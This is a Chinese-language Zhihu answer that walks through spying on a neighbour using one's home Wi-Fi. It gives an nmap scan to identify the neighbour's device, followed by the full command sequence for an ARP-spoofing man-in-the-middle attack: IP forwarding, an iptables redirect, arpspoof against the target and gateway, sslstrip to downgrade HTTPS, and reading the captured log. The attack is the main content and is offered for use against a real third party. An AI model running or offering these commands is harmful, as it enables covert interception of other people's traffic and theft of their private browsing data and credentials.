作者:秋山澪
链接:https://www.zhihu.com/question/43462233/answer/96115295
来源:知乎
著作权归作者所有,转载请联系作者获得授权。
1.
扫描网络内用户 - Nmap
首先假定你的邻居已经连上了你家Wi-Fi,如果想要查看他浏览的内容,你需要先定位到哪一个设备是你的邻居。MAC地址和IP地址的话从路由器设置的页面就可以看到,如果还想查看更多信息的话,Nmap是一款非常实用的工具。
首先获得路由器网关的地址,如图所示我家Wi-Fi的路由器地址是192.168.0.1
route –n
然后用Nmap扫描连接到该网络下的所有设备,图里192.168.0.109就是我用来模拟邻居的另一台笔记本。不光IP和MAC地址可以显示,相应的设备信息(比如图中这个Huawei Technologies),用了什么什么操作系统(OS
details)都可以在nmap扫描的结果中看到。记好邻居的IP和你路由器的地址,我们接下来要用到。
nmap -sS -O 192.168.0.1/24
2.
中间人攻击 – arpspoof & sslstrip
所谓中间人攻击(MitM)指的是攻击者插入到正在交流的双方中间,窃取并修改其中的通信,而双方仍然认为自己正和对方一对一的直接交流。
刚才有人说到现在很多网站用的都是HTTPS而不是HTTP,所以信息会被加密无法破解。那么首先什么是HTTP和HTTPS呢,我们可以简单的理解为两种网络通信时的协议,区别是HTTPS要比HTTP安全的多。的确HTTPS的信息很难破解,但是这不意味着我们面对HTTPS毫无办法。
sslstrip 这个工具可以把我们无法破解的HTTPS请求转换成HTTP请求。如图所示受害者想要通过HTTPS连接一个网站,arpspoof(待会儿会提到)这个工具可以让我的电脑伪装成路由器的样子,于是路由器会把收到的HTTPS请求转发给我的电脑。这时我用sslstrip把HTTPS请求转换成HTTP请求,再发回给路由器,路由器会紧跟着把HTTP请求转发给目标网站。目标网站收到HTTP请求后就和受害者建立了HTTP而不是HTTPS请求。
接下来是具体操作:
首先用这两条命令开启IP转发并建一个iptables rule 来让本机可以转发消息。
echo 1 >
/proc/sys/net/ipv4/ip_forward
iptables -t nat -A
PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
接下来arpspoof可以把目标设备的网络通信转发给我,interface用来指明你想用哪个网络接口,这个可以用ifconfig命令看到.
arpspoof -i interface -t target IP -r gateway IP
target IP和gateway IP我们在之前已经获得了,于是我实际输入的指令是:
arpspoof -i wlan0 -t
192.168.0.109 -r 192.168.0.1
可以看到arpspoof已经开始工作,保持这个窗口开启,然后打开一个新的终端启动sslstrip
sslstrip -l 8080
这时邻居在这个网络下所做的事情就都记录在sslstrip的日志文件里了
cat sslstrip.log
收工。